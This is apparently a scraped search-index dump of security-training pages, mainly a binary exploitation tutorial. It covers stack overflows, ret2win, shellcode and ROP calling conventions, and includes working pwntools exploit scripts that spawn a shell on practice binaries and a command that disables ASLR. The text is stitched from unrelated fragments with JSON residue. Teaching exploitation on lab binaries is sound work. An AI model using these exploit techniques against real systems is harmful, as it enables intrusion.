\u5f53\u539f\u59cb\u6307\u4ee4\u6267\u884c\u5230\u6307\u4ee4\u5e8f\u5217\u7684\u5f00\u59cb\u5904\uff0c\u5c31\u8f6c\u5165\u4ee3\u7801\u865a\u62df\u673a\u7684\u5165\u53e3\u3002\u6b64\u65f6\u9700\u8981\u4fdd\u5b58\u5f53\u524d\u7ebf\u7a0b\u7684\u4e0a\u4e0b\u6587\u4fe1\u606f\uff0c\u7136\u540e\u8fdb\u5165\u6a21\u62df\u6267\u884c\u9636\u6bb5\uff0c\u8be5\u9636\u6bb5\u662f\u4ee3\u7801\u865a\u62df\u673a\u7684\u6838\u5fc3\u3002\u6709\u4e24\u79cd\u65b9\u6848\u6765\u4fdd\u8bc1\u865a\u62df\u673a\u4ee3\u7801\u4e0e\u539f\u59cb\u4ee3\u7801\u7684\u6808\u7a7a\u95f4\u4f7f\u7528\u4e92\u4e0d\u51b2\u7a81\uff0c\u4e00\u79cd\u662f\u5728\u5806\u4e0a\u5f00\u8f9f\u5f00\u8f9f\u65b0\u7684\u7a7a\u95f4\uff0c\u53e6\u4e00\u79cd\u662f\u7ee7\u7eed\u4f7f\u7528\u539f\u59cb\u4ee3\u7801\u6240\u4f7f\u7528\u7684\u6808\u7a7a\u95f4\uff0c\u8fd9\u4e24\u79cd\u65b9\u6848\u4e92\u6709\u4f18\u52a3\uff0c\u5728\u5b9e\u9645\u4e2d\u7b2c\u4e8c\u79cd\u4f7f\u7528\u8f83\u591a\u3002
\u5bf9\u4e8e\u600e\u6837\u6a21\u62df\u539f\u59cb\u4ee3\u7801\uff0c\u540c\u6837\u6709\u4e24\u79cd\u65b9\u6848\u3002\u4e00\u79cd\u662f\u5c06\u539f\u672c\u7684\u6307\u4ee4\u5e8f\u5217\u8f6c\u53d8\u4e3a\u4e00\u79cd\u5177\u6709\u76f4\u63a5\u6216\u8005\u95f4\u63a5\u5bf9\u5e94\u5173\u7cfb\u7684\uff0c\u53ea\u6709\u865a\u62df\u673a\u624d\u80fd\u7406\u89e3\u7684\u4ee3\u7801\u6570\u636e\u3002\u4f8b\u5982\u7528 0
\u6765\u8868\u793a push
\uff0c 1 \u8868\u793a mov
\u7b49\u3002\u8fd9\u79cd\u76f4\u63a5\u6216\u95f4\u63a5\u7b49\u4ef7\u7684\u6570\u636e\u79f0\u4e3a opcode\u3002\u53e6\u4e00\u79cd\u65b9\u6848\u662f\u5c06\u539f\u59cb\u4ee3\u7801\u7684\u610f\u4e49\u76f4\u63a5\u8f6c\u6362\u6210\u65b0\u7684\u4ee3\u7801\uff0c\u7c7b\u4f3c\u4e8e\u4ee3\u7801\u53d8\u5f62\uff0c\u8fd9\u79cd\u65b9\u6848\u57fa\u4e8e\u6307\u4ee4\u8bed\u4e49\uff0c\u6240\u4ee5\u8bbe\u8ba1\u96be\u5ea6\u975e\u5e38\u5927\u3002
From Wikibooks, the open-content textbooks collection
"},{"location":"Training/Material/X86_Assembly/#contents","title":"Contents","text":"\u2022 1 Introduction
\u2022 1.1 Why Learn Assembly?
\u2022 1.2 Who is This Book For?
\u2022 1.3 How is This Book Organized?
\u2022 2 Basic FAQ
\u2022 2.1 How Does the Computer Read/Understand Assembly?
\u2022 2.2 Is it the Same On Windows/DOS/Linux?
\u2022 2.3 Which Assembler is Best?
\u2022 2.4 Do I Need to Know Assembly?
\u2022 2.5 How Should I Format my Code?
\u2022 3 X86 Family
\u2022 3.1 Intel x86 Microprocessors
\u2022 3.2 AMD x86 Compatible Microprocessors
\u2022 4 X86 Architecture
\u2022 4.1 x86 Architecture
\u2022 4.1.1 General Purpose Registers (GPR)
\u2022 4.1.2 Segment Registers
\u2022 4.1.3 EFLAGS Register
\u2022 4.1.4 Instruction Pointer
\u2022 4.1.5 Memory
\u2022 4.1.6 Two's complement representation
\u2022 4.1.7 Addressing modes
\u2022 4.2 Stack
\u2022 4.3 CPU Operation Modes
\u2022 4.3.1 Real Mode
\u2022 4.3.2 Protected Mode
\u2022 4.3.2.1 Flat Memory Model
\u2022 4.3.2.2 Multi-Segmented Memory Model
\u2022 5 Comments
\u2022 5.1 Comments
\u2022 5.2 HLA Comments
\u2022 6 16 32 and 64 Bits
\u2022 6.1 The 8086 Registers
\u2022 6.1.1 Example
\u2022 6.2 The A20 Gate Saga
\u2022 6.3 32-Bit Addressing
\u2022 7 X86 Instructions
\u2022 7.1 Conventions
\u2022 8 Data Transfer
\u2022 8.1 Data transfer instructions
\u2022 8.1.1 Move
\u2022 8.1.2 Data Swap
\u2022 8.1.3 Move and Extend
\u2022 8.1.4 Move by Data Size
"},{"location":"Training/Material/X86_Assembly/#pdf","title":"PDF","text":"X86 Assembly.pdf
"},{"location":"Training/Material/pwn-stack-1/","title":"Binary Exploitation - Stack","text":"https://ir0nstone.gitbook.io/notes/
"},{"location":"Training/Material/pwn-stack-1/#introduction","title":"Introduction","text":"An Introduction to binary exploitation
Binary Exploitation is about finding vulnerabilities in programs and utilizing them to do what you wish. Sometimes this can result in an authentication bypass or the leaking of classified information, but occasionally (if you're lucky) it can also result in Remote Code Execution (RCE). The most basic forms of binary exploitation occur on the stack, a region of memory that stores temporary variables created by functions in code.
When a new function is called, a memory address in the calling function is pushed to the stack - this way, the program knows where to return to once the called function finishes execution. Let's look at a basic binary to show this.
introduction.zip
"},{"location":"Training/Material/pwn-stack-1/#analysis","title":"Analysis","text":"The binary has two files - source.c
and vuln
; the latter is an ELF
file, which is the executable format for Linux (it is recommended to follow along with this with a Virtual Machine of your own, preferably Linux).
We're gonna use a tool called radare2
to analyze the behavior of the binary when functions are called.
$ r2 -d -A vuln\n
The -d
runs it while the -A
performs the analysis. We can disassemble the main
with
s main; pdf\n
s main
seeks (moves) to main, while pdf
stands for Print Disassembly Function (literally just disassembles it).
0x080491ab 55 push ebp\n0x080491ac 89e5 mov ebp, esp\n0x080491ae 83e4f0 and esp, 0xfffffff0\n0x080491b1 e80d000000 call sym.__x86.get_pc_thunk.ax\n0x080491b6 054a2e0000 add eax, 0x2e4a\n0x080491bb e8b2ffffff call sym.unsafe\n0x080491c0 90 nop\n0x080491c1 c9 leave\n0x080491c2 c3 ret\n
The call to unsafe
is at 0x080491bb
, so let's break there.
db 0x080491bb\n
db
stands for debug breakpoint and just sets a breakpoint. A breakpoint is simply somewhere that pauses the program for you to run other commands when reached. Now we run dc
for debug continue; this just carries on running the file.
It should break before unsafe
is called; let's analyze the top of the stack now:
[0x08049172]> pxw @ esp\n0xff984af0 0xf7efe000 [...]\n
The first address, 0xff984af0
, is the position; the 0xf7efe000
is the value. Let's move one more instruction with the ds
, debug step, and check the stack again.
[0x08049172]> pxw @ esp\n0xff984aec 0x080491c0 0xf7efe000\n
Huh, something's been pushed onto the stack - the value 0x080491c0
. This looks like it's in the binary - but where?
[...]\n0x080491b6 054a2e0000 add eax, 0x2e4a\n0x080491bb e8b2ffffff call sym.unsafe\n0x080491c0 90 nop\n[...]\n
Look at that - it's the instruction after the call to unsafe
. Why? This is how the program knows where to return to after *unsafe()*
has finished.
But as we're interested in binary exploitation, let's see how we can possibly break this. First, let's disassemble unsafe
and break on the ret
instruction; ret
is the equivalent of pop eip
, which will get the saved return pointer we just analyzed on the stack into the eip
register. Then let's continue and spam a bunch of characters into the input and see how that could affect it.
[0x08049172]> db 0x080491aa\n[0x08049172]> dc\nOverflow me\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n
Now let's read the value at the location the return pointer was at previously, which as we saw was 0xff984aec
.
[0x080491aa]> pxw @ 0xff984aec\n0xff984aec 0x41414141 0x41414141 0x41414141 0x41414141 AAAAAAAAAAAAAAAA\n
Huh?
It's quite simple - we inputted more data than the program expected, which resulted in us overwriting more of the stack than the developer expected. The saved return pointer is also on the stack, meaning we managed to overwrite it. As a result, on the ret
, the value popped into eip
won't be in the previous function but rather 0x41414141
. Let's check with ds
.
[0x080491aa]> ds\n[0x41414141]>\n
And look at the new prompt - 0x41414141
. Let's run dr eip
to make sure that's the value in eip
:
[0x41414141]> dr eip\n0x41414141\n
Yup, it is! We've successfully hijacked the program execution! Let's see if it crashes when we let it run with dc
.
[0x41414141]> dc\nchild stopped with signal 11\n[+] SIGNAL 11 errno=0 addr=0x41414141 code=1 ret=0\n
radare2
is very useful and prints out the address that causes it to crash. If you cause the program to crash outside of a debugger, it will usually say Segmentation Fault
, which could mean a variety of things, but usually that you have overwritten EIP.
Of course, you can prevent people from writing more characters than expected when making your program, usually using other C functions such as fgets()
; gets()
is intrinsically unsafe because it doesn't check the length of the input, meaning that the presence of gets()
is always something you should check out in a program. It is also possible to give fgets()
the wrong parameters, meaning it still takes in too many characters.
When a function calls another function, it
Because this value is saved on the stack, just like our local variables, if we write more characters than the program expects, we can overwrite the value and redirect code execution to wherever we wish. Functions such as fgets()
can prevent such easy overflow, but you should check how much is actually being read.
The most basic binexp challenge
A ret2win is simply a binary where there is a win()
function (or equivalent); once you successfully redirect execution there, you complete the challenge.
To carry this out, we have to leverage what we learned in the introduction, but in a predictable manner - we have to overwrite EIP, but to a specific value of our choice.
To do this, what do we need to know? Well, a couple of things:
When I say \"overwrite EIP\", I mean overwrite the saved return pointer that gets popped into EIP. The EIP register is not located on the stack, so it is not overwritten directly.
ret2win.zip
"},{"location":"Training/Material/pwn-stack-1/#finding-the-padding","title":"Finding the Padding","text":"This can be found using simple trial and error; if we send a variable number of characters, we can use the Segmentation Fault
message, in combination with radare2, to tell when we overwrote EIP. There is a better way to do it than simple brute force (we'll cover this in the next post), but it'll do for now.
You may get a segmentation fault for reasons other than overwriting EIP; use a debugger to make sure the padding is correct.
We get an offset of 52 bytes.
"},{"location":"Training/Material/pwn-stack-1/#finding-the-address","title":"Finding the Address","text":"Now we need to find the address of the flag()
function in the binary. This is simple.
$ r2 -d -A vuln\n$ afl\n[...]\n0x080491c3 1 43 sym.flag\n[...]\n
afl
stands for Analyse Functions List
The flag()
function is at 0x080491c3
.
The final piece of the puzzle is to work out how we can send the address we want. If you think back to the introduction, the A
s that we sent became 0x41
- which is the ASCII code of A
. So the solution is simple - let's just find the characters with ASCII codes 0x08
, 0x04
, 0x91
, and 0xc3
.
This is a lot simpler than you might think because we can specify them in Python as hex:
address = '\\x08\\x04\\x91\\xc3'\n
And that makes it much easier.
"},{"location":"Training/Material/pwn-stack-1/#putting-it-together","title":"Putting it Together","text":"Now we know the padding and the value, let's exploit the binary! We can use pwntools
to interface with the binary (check out the pwntools posts for a more in-depth look).
from pwn import * # This is how we import pwntools\n\np = process('./vuln') # We're starting a new process\n\npayload = 'A' * 52\npayload += '\\x08\\x04\\x91\\xc3'\n\np.clean() # Receive all the text\n\np.sendline(payload)\n\nlog.info(p.clean()) # Output the \"Exploited!\" string to know we succeeded\n
If you run this, there is one small problem: it won't work. Why? Let's check with a debugger. We'll put a pause()
to give us time to attach radare2
to the process.
from pwn import *\n\np = process('./vuln')\n\npayload = b'A' * 52\npayload += '\\x08\\x04\\x91\\xc3'\n\nlog.info(p.clean())\n\npause() # add this in\n\np.sendline(payload)\n\nlog.info(p.clean())\n
Now let's run the script with python3 exploit.py
and then open up a new terminal window.
r2 -d -A $(pidof vuln)\n
By providing the PID of the process, radare2 hooks onto it. Let's break at the return of unsafe()
and read the value of the return pointer.
[0x08049172]> db 0x080491aa\n[0x08049172]> dc\n\n<< press any button on the exploit terminal window >>\n\nhit breakpoint at: 80491aa\n[0x080491aa]> pxw @ esp\n0xffdb0f7c 0xc3910408 [...]\n[...]\n
0xc3910408
- look familiar? It's the address we were trying to send over, except the bytes have been reversed, and the reason for this reversal is endianness. Big-endian systems store the most significant byte (the byte with the largest value) at the smallest memory address, and this is how we sent them. Little-endian does the opposite (for a reason), and most binaries you will come across are little-endian. As far as we're concerned, the byte is stored in reverse order in little-endian executables.
radare2
comes with a nice tool called rabin2
for binary analysis:
$ rabin2 -I vuln\n[...]\nendian little\n[...]\n
So our binary is little-endian.
"},{"location":"Training/Material/pwn-stack-1/#accounting-for-endianness","title":"Accounting for Endianness","text":"The fix is simple - reverse the address (you can also remove the pause()
)
payload += '\\x08\\x04\\x91\\xc3'[::-1]\n
If you run this now, it will work:
$ python3 tutorial.py \n[+] Starting local process './vuln': pid 2290\n[*] Overflow me\n[*] Exploited!!!!!\n
And wham, you've called the flag()
function! Congrats!
Unsurprisingly, you're not the first person to have thought \"Could they possibly make endianness simpler\" - luckily, pwntools has a built-in p32()
function ready for use!
payload += '\\x08\\x04\\x91\\xc3'[::-1]\n
becomes
payload += p32(0x080491c3)\n
Much simpler, right?
The only caveat is that it returns bytes
rather than a string, so you have to make the padding a byte string:
payload = b'A' * 52 # Notice the \"b\"\n
Otherwise, you will get a
TypeError: can only concatenate str (not \"bytes\") to str\n
"},{"location":"Training/Material/pwn-stack-1/#final-exploit","title":"Final Exploit","text":"from pwn import * # This is how we import pwntools\n\np = process('./vuln') # We're starting a new process\n\npayload = b'A' * 52\npayload += p32(0x080491c3) # Use pwntools to pack it\n\nlog.info(p.clean()) # Receive all the text\np.sendline(payload)\n\nlog.info(p.clean()) # Output the \"Exploited!\" string to know we succeeded\n
"},{"location":"Training/Material/pwn-stack-1/#de-bruijn-sequences","title":"De Bruijn Sequences","text":"The better way to calculate offsets
De Bruijn sequences of order n
is simply a sequence where no string of n
characters is repeated. This makes finding the offset until EIP much simpler - we can just pass in a De Bruijn sequence, get the value within EIP and find the one possible match within the sequence to calculate the offset. Let's do this on the ret2win binary.
Again, radare2
comes with a nice command-line tool (called ragg2
) that can generate it for us. Let's create a sequence of length 100
.
$ ragg2 -P 100 -r\nAAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh\n
The -P
specifies the length while -r
tells it to show ascii bytes rather than hex pairs.
Now we have the pattern, let's just input it in radare2
when prompted for input, make it crash, and then calculate how far along the sequence the EIP is. Simples.
$ r2 -d -A vuln\n\n[0xf7ede0b0]> dc\nOverflow me\nAAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh\nchild stopped with signal 11\n[+] SIGNAL 11 errno=0 addr=0x41534141 code=1 ret=0\n
The address it crashes on is 0x41534141
; we can use radare2
's in-built wopO
command to work out the offset.
[0x41534141]> wopO 0x41534141\n52\n
Awesome - we get the correct value!
We can also be lazy and not copy the value.
[0x41534141]> wopO `dr eip`\n52\n
The backticks mean the dr eip
is calculated first before the wopO
is run on the result of it.
Running your own code
In real exploits, it's not particularly likely that you will have a win()
function lying around - shellcode is a way to run your own instructions, giving you the ability to run arbitrary commands on the system.
Shellcode is essentially assembly instructions, except we input them into the binary; once we input it, we overwrite the return pointer to hijack code execution and point at our own instructions!
I promise you can trust me but you should never ever run shellcode without knowing what it does. Pwntools is safe and has almost all the shellcode you will ever need.
The reason shellcode is successful is that Von Neumann architecture (the architecture used in most computers today) does not differentiate between data and instructions - it doesn't matter where or what you tell it to run, it will attempt to run it. Therefore, even though our input is data, the computer doesn't know that - and we can use that to our advantage.
shellcode.zip
"},{"location":"Training/Material/pwn-stack-1/#disabling-aslr","title":"Disabling ASLR","text":"ASLR is a security technique, and while it is not specifically designed to combat shellcode, it involves randomizing certain aspects of memory (we will talk about it in much more detail later). This randomization can make shellcode exploits like the one we're about to do less reliable, so we'll be disabling it, for now, using this.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space\n
Again, you should never run commands if you don't know what they do
"},{"location":"Training/Material/pwn-stack-1/#finding-the-buffer-in-memory","title":"Finding the Buffer in Memory","text":"Let's debug vuln()
using radare2
and work out where in memory the buffer starts; this is where we want to point the return pointer to.
$ r2 -d -A vuln\n\n[0xf7fd40b0]> s sym.unsafe ; pdf\n[...]\n; var int32_t var_134h @ ebp-0x134\n[...]\n
This value that gets printed out is a local variable - due to its size, it's fairly likely to be the buffer. Let's set a breakpoint just after gets()
and find the exact address.
[0x08049172]> dc\nOverflow me\n<<Found me>> <== This was my input\nhit breakpoint at: 80491a8\n[0x080491a8]> px @ ebp - 0x134\n- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF\n0xffffcfb4 3c3c 466f 756e 6420 6d65 3e3e 00d1 fcf7 <<Found me>>....\n\n[...]\n
It appears to be at 0xffffcfd4
; if we run the binary multiple times, it should remain where it is (if it doesn't, make sure ASLR is disabled!).
Now we need to calculate the padding until the return pointer. We'll use the De Bruijn sequence as explained in the previous blog post.
$ ragg2 -P 400 -r\n<copy this>\n\n$ r2 -d -A vuln\n[0xf7fd40b0]> dc\nOverflow me\n<<paste here>>\n[0x73424172]> wopO `dr eip`\n312\n
The padding is 312 bytes.
"},{"location":"Training/Material/pwn-stack-1/#putting-it-all-together","title":"Putting it all together","text":"In order for the shellcode to be correct, we're going to set the context.binary
to our binary; this grabs stuff like the arch, OS, and bits and enables pwntools to provide us with working shellcode.
from pwn import *\n\ncontext.binary = ELF('./vuln')\n\np = process()\n
We can use just process()
because once the context.binary
is set it is assumed to use that process
Now we can use pwntools' awesome shellcode functionality to make it incredibly simple.
payload = asm(shellcraft.sh()) # The shellcode\npayload = payload.ljust(312, b'A') # Padding\npayload += p32(0xffffcfb4) # Address of the Shellcode\n
Yup, that's it. Now let's send it off and use p.interactive()
, which enables us to communicate to the shell.
log.info(p.clean())\n\np.sendline(payload)\n\np.interactive()\n
If you're getting an EOFError
, print out the shellcode and try to find it in memory - the stack address may be wrong
$ python3 exploit.py\n[*] 'vuln'\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX disabled\n PIE: No PIE (0x8048000)\n RWX: Has RWX segments\n[+] Starting local process 'vuln': pid 3606\n[*] Overflow me\n[*] Switching to interactive mode\n$ whoami\nironstone\n$ ls\nexploit.py source.c vuln\n
And it works! Awesome.
"},{"location":"Training/Material/pwn-stack-1/#final-exploit_1","title":"Final Exploit","text":"from pwn import *\n\ncontext.binary = ELF('./vuln')\n\np = process()\n\npayload = asm(shellcraft.sh()) # The shellcode\npayload = payload.ljust(312, b'A') # Padding\npayload += p32(0xffffcfb4) # Address of the Shellcode\n\nlog.info(p.clean())\n\np.sendline(payload)\n\np.interactive()\n
"},{"location":"Training/Material/pwn-stack-1/#summary_1","title":"Summary","text":"More reliable shellcode exploits
NOP (no operation) instructions do exactly what they sound like nothing. This makes them very useful for shellcode exploits because all they will do is run the next instruction. If we pad our exploits on the left with NOPs and point EIP in the middle of them, it'll simply keep doing no instructions until it reaches our actual shellcode. This allows us a greater margin of error as a shift of a few bytes forward or backward won't really affect it, it'll just run a different number of NOP instructions - which have the same end result of running the shellcode. This padding with NOPs is often called a NOP slide or NOP sled since the EIP is essentially sliding down them.
In intel x86 assembly, NOP instructions are \\x90
.
The NOP instruction actually used to stand for XCHG EAX, EAX
, which does effectively nothing. You can read a bit more about it on this StackOverflow question.
We can make slight changes to our exploit to do two things:
Make sure ASLR is still disabled. If you have to disable it again, you may have to readjust your previous exploit as the buffer location may be different.
from pwn import *\n\ncontext.binary = ELF('./vuln')\n\np = process()\n\npayload = b'\\x90' * 240 # The NOPs\npayload += asm(shellcraft.sh()) # The shellcode\npayload = payload.ljust(312, b'A') # Padding\npayload += p32(0xffffcfb4 + 120) # Address of the buffer + half nop length\n\nlog.info(p.clean())\n\np.sendline(payload)\n\np.interactive()\n
It's probably worth mentioning that shellcode with NOPs is not failsafe; if you receive unexpected errors padding with NOPs but the shellcode worked before, try reducing the length of the nopsled as it may be tampering with other things on the stack
Note that NOPs are only \\x90
in certain architectures, and if you need others you can use pwntools:
nop = asm(shellcraft.nop())\n
"},{"location":"Training/Material/pwn-stack-1/#32-vs-64-bit","title":"32- vs 64-bit","text":"The differences between the sizes
Everything we have done so far is applicable to 64-bit as well as 32-bit; the only thing you would need to change is switching out the p32()
for p64()
as the memory addresses are longer.
The real difference between the two, however, is the way you pass parameters to functions (which we'll be looking at much closer soon); in 32-bit, all parameters are pushed to the stack before the function is called. In 64-bit, however, the first 6 are stored in the registers RDI, RSI, RDX, RCX, R8, and R9 respectively as per the calling convention. Note that different Operating Systems also have different calling conventions.
"},{"location":"Training/Material/pwn-stack-2/","title":"Binary Exploitation - Stack","text":"https://ir0nstone.gitbook.io/notes/
"},{"location":"Training/Material/pwn-stack-2/#no-execute","title":"No eXecute","text":"The defense against shellcode
As you can expect, programmers were hardly pleased that people could inject their own instructions into the program. The NX bit, which stands for No eXecute, defines areas of memory as either instructions or data. This means that your input will be stored as data, and any attempt to run it as instructions will crash the program, effectively neutralizing the shellcode.
To get around NX, exploit developers have to leverage a technique called ROP, Return-Oriented Programming.
The Windows version of NX is DEP, which stands for Data Execution Prevention
"},{"location":"Training/Material/pwn-stack-2/#checking-for-nx","title":"Checking for NX","text":"You can either use pwntools' checksec
or rabin2
.
$ checksec vuln\n[*] 'vuln'\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX disabled\n PIE: No PIE (0x8048000)\n RWX: Has RWX segments\n
$ rabin2 -I vuln\n[...]\nnx false\n[...]\n
"},{"location":"Training/Material/pwn-stack-2/#return-oriented-programming","title":"Return-Oriented Programming","text":"Bypassing NX
The basis of ROP is chaining together small chunks of code already present within the binary itself in such a way as to do what you wish. This often involves passing parameters to functions already present within libc
, such as system
- if you can find the location of a command, such as cat flag.txt
, and then pass it as a parameter to the system
, it will execute that command and return the output. A more dangerous command is /bin/sh
, which when run by the system
gives the attacker a shell much like the shellcode we used did.
Doing this, however, is not as simple as it may seem at first. To be able to properly call functions, we first have to understand how to pass parameters to them.
"},{"location":"Training/Material/pwn-stack-2/#calling-conventions","title":"Calling Conventions","text":"A more in-depth look into parameters for 32-bit and 64-bit programs
"},{"location":"Training/Material/pwn-stack-2/#one-parameter","title":"One Parameter","text":"calling-conventions-one-param
"},{"location":"Training/Material/pwn-stack-2/#source","title":"Source","text":"Let's have a quick look at the source:
#include <stdio.h>\n\nvoid vuln(int check) {\n if(check == 0xdeadbeef) {\n puts(\"Nice!\");\n } else {\n puts(\"Not nice!\");\n }\n}\n\nint main() {\n vuln(0xdeadbeef);\n vuln(0xdeadc0de);\n}\n
Pretty simple.
If we run the 32-bit and 64-bit versions, we get the same output:
Nice!\nNot nice!\n
Just what we expected.
"},{"location":"Training/Material/pwn-stack-2/#analyzing-32-bit","title":"Analyzing 32-bit","text":"Let's open the binary up in radare2 and disassemble it.
$ r2 -d -A vuln-32\n$ s main; pdf\n\n0x080491ac 8d4c2404 lea ecx, [argv]\n0x080491b0 83e4f0 and esp, 0xfffffff0\n0x080491b3 ff71fc push dword [ecx - 4]\n0x080491b6 55 push ebp\n0x080491b7 89e5 mov ebp, esp\n0x080491b9 51 push ecx\n0x080491ba 83ec04 sub esp, 4\n0x080491bd e832000000 call sym.__x86.get_pc_thunk.ax\n0x080491c2 053e2e0000 add eax, 0x2e3e\n0x080491c7 83ec0c sub esp, 0xc\n0x080491ca 68efbeadde push 0xdeadbeef\n0x080491cf e88effffff call sym.vuln\n0x080491d4 83c410 add esp, 0x10\n0x080491d7 83ec0c sub esp, 0xc\n0x080491da 68dec0adde push 0xdeadc0de\n0x080491df e87effffff call sym.vuln\n0x080491e4 83c410 add esp, 0x10\n0x080491e7 b800000000 mov eax, 0\n0x080491ec 8b4dfc mov ecx, dword [var_4h]\n0x080491ef c9 leave\n0x080491f0 8d61fc lea esp, [ecx - 4]\n0x080491f3 c3 ret\n
If we look closely at the calls to sym.vuln
, we see a pattern:
push 0xdeadbeef\ncall sym.vuln\n[...]\npush 0xdeadc0de\ncall sym.vuln\n
We literally push
the parameter to the stack before calling the function. Let's break on sym.vuln
.
[0x080491ac]> db sym.vuln\n[0x080491ac]> dc\nhit breakpoint at: 8049162\n[0x08049162]> pxw @ esp\n0xffdeb54c 0x080491d4 0xdeadbeef 0xffdeb624 0xffdeb62c\n
The first value there is the return pointer that we talked about before - the second, however, is the parameter. This makes sense because the return pointer gets pushed during the call
, so it should be at the top of the stack. Now let's disassemble sym.vuln
.
\u250c 74: sym.vuln (int32_t arg_8h);\n\u2502 ; var int32_t var_4h @ ebp-0x4\n\u2502 ; arg int32_t arg_8h @ ebp+0x8\n\u2502 0x08049162 b 55 push ebp\n\u2502 0x08049163 89e5 mov ebp, esp\n\u2502 0x08049165 53 push ebx\n\u2502 0x08049166 83ec04 sub esp, 4\n\u2502 0x08049169 e886000000 call sym.__x86.get_pc_thunk.ax\n\u2502 0x0804916e 05922e0000 add eax, 0x2e92\n\u2502 0x08049173 817d08efbead. cmp dword [arg_8h], 0xdeadbeef\n\u2502 \u250c\u2500< 0x0804917a 7516 jne 0x8049192\n\u2502 \u2502 0x0804917c 83ec0c sub esp, 0xc\n\u2502 \u2502 0x0804917f 8d9008e0ffff lea edx, [eax - 0x1ff8]\n\u2502 \u2502 0x08049185 52 push edx\n\u2502 \u2502 0x08049186 89c3 mov ebx, eax\n\u2502 \u2502 0x08049188 e8a3feffff call sym.imp.puts ; int puts(const char *s)\n\u2502 \u2502 0x0804918d 83c410 add esp, 0x10\n\u2502 \u250c\u2500\u2500< 0x08049190 eb14 jmp 0x80491a6\n\u2502 \u2502\u2514\u2500> 0x08049192 83ec0c sub esp, 0xc\n\u2502 \u2502 0x08049195 8d900ee0ffff lea edx, [eax - 0x1ff2]\n\u2502 \u2502 0x0804919b 52 push edx\n\u2502 \u2502 0x0804919c 89c3 mov ebx, eax\n\u2502 \u2502 0x0804919e e88dfeffff call sym.imp.puts ; int puts(const char *s)\n\u2502 \u2502 0x080491a3 83c410 add esp, 0x10\n\u2502 \u2502 ; CODE XREF from sym.vuln @ 0x8049190\n\u2502 \u2514\u2500\u2500> 0x080491a6 90 nop\n\u2502 0x080491a7 8b5dfc mov ebx, dword [var_4h]\n\u2502 0x080491aa c9 leave\n\u2514 0x080491ab c3 ret\n
Here I'm showing the full output of the command because a lot of it is relevant. radare2
does a great job of detecting local variables - as you can see at the top, there is one called arg_8h
. Later this same one is compared to 0xdeadbeef
:
cmp dword [arg_8h], 0xdeadbeef\n
Clearly, that's our parameter.
So now we know, when there's one parameter, it gets pushed to the stack so that the stack looks like this:
return address param_1\n
"},{"location":"Training/Material/pwn-stack-2/#analyzing-64-bit","title":"Analyzing 64-bit","text":"Let's disassemble the main
again here.
0x00401153 55 push rbp\n0x00401154 4889e5 mov rbp, rsp\n0x00401157 bfefbeadde mov edi, 0xdeadbeef\n0x0040115c e8c1ffffff call sym.vuln\n0x00401161 bfdec0adde mov edi, 0xdeadc0de\n0x00401166 e8b7ffffff call sym.vuln\n0x0040116b b800000000 mov eax, 0\n0x00401170 5d pop rbp\n0x00401171 c3 ret\n
Hohoho, it's different. As we mentioned before, the parameter gets moved to rdi
(in the disassembly here it's edi
, but edi
is just the lower 32 bits of rdi
, and the parameter is only 32 bits long, so it says EDI
instead). If we break on sym.vuln
again we can check rdi
with the command
dr rdi\n
Just dr
will display all registers
[0x00401153]> db sym.vuln \n[0x00401153]> dc\nhit breakpoint at: 401122\n[0x00401122]> dr rdi\n0xdeadbeef\n
Awesome.
Registers are used for parameters, but the return address is still pushed onto the stack and in ROP is placed right after the function address
"},{"location":"Training/Material/pwn-stack-2/#multiple-parameters","title":"Multiple Parameters","text":"calling-convention-multi-param
"},{"location":"Training/Material/pwn-stack-2/#source_1","title":"Source","text":"#include <stdio.h>\n\nvoid vuln(int check, int check2, int check3) {\n if(check == 0xdeadbeef && check2 == 0xdeadc0de && check3 == 0xc0ded00d) {\n puts(\"Nice!\");\n } else {\n puts(\"Not nice!\");\n }\n}\n\nint main() {\n vuln(0xdeadbeef, 0xdeadc0de, 0xc0ded00d);\n vuln(0xdeadc0de, 0x12345678, 0xabcdef10);\n}\n
"},{"location":"Training/Material/pwn-stack-2/#32-bit","title":"32-bit","text":"We've seen the full disassembly of an almost identical binary, so I'll only isolate the important parts.
0x080491dd 680dd0dec0 push 0xc0ded00d\n0x080491e2 68dec0adde push 0xdeadc0de\n0x080491e7 68efbeadde push 0xdeadbeef\n0x080491ec e871ffffff call sym.vuln\n[...]\n0x080491f7 6810efcdab push 0xabcdef10\n0x080491fc 6878563412 push 0x12345678\n0x08049201 68dec0adde push 0xdeadc0de\n0x08049206 e857ffffff call sym.vuln\n
It's just as simple - push
them in reverse order of how they're passed in. The reverse order becomes helpful when you db sym.vuln
and print out the stack.
[0x080491bf]> db sym.vuln\n[0x080491bf]> dc\nhit breakpoint at: 8049162\n[0x08049162]> pxw @ esp\n0xffb45efc 0x080491f1 0xdeadbeef 0xdeadc0de 0xc0ded00d\n
So it becomes quite clear how more parameters are placed on the stack:
return pointer param1 param2 param3 [...] paramN\n
"},{"location":"Training/Material/pwn-stack-2/#64-bit","title":"64-bit","text":"0x00401170 ba0dd0dec0 mov edx, 0xc0ded00d\n0x00401175 bedec0adde mov esi, 0xdeadc0de\n0x0040117a bfefbeadde mov edi, 0xdeadbeef\n0x0040117f e89effffff call sym.vuln\n0x00401184 ba10efcdab mov edx, 0xabcdef10\n0x00401189 be78563412 mov esi, 0x12345678\n0x0040118e bfdec0adde mov edi, 0xdeadc0de\n0x00401193 e88affffff call sym.vuln\n
So as well as rdi
, we also push to rdx
and rsi
(or, in this case, their lower 32 bits).
Just to show that it is in fact ultimately rdi
and not edi
that is used, I will alter the original one-parameter code to utilize a bigger number:
#include <stdio.h>\n\nvoid vuln(long check) {\n if(check == 0xdeadbeefc0dedd00d) {\n puts(\"Nice!\");\n }\n}\n\nint main() {\n vuln(0xdeadbeefc0dedd00d);\n}\n
If you disassemble the main
, you can see it disassembles to
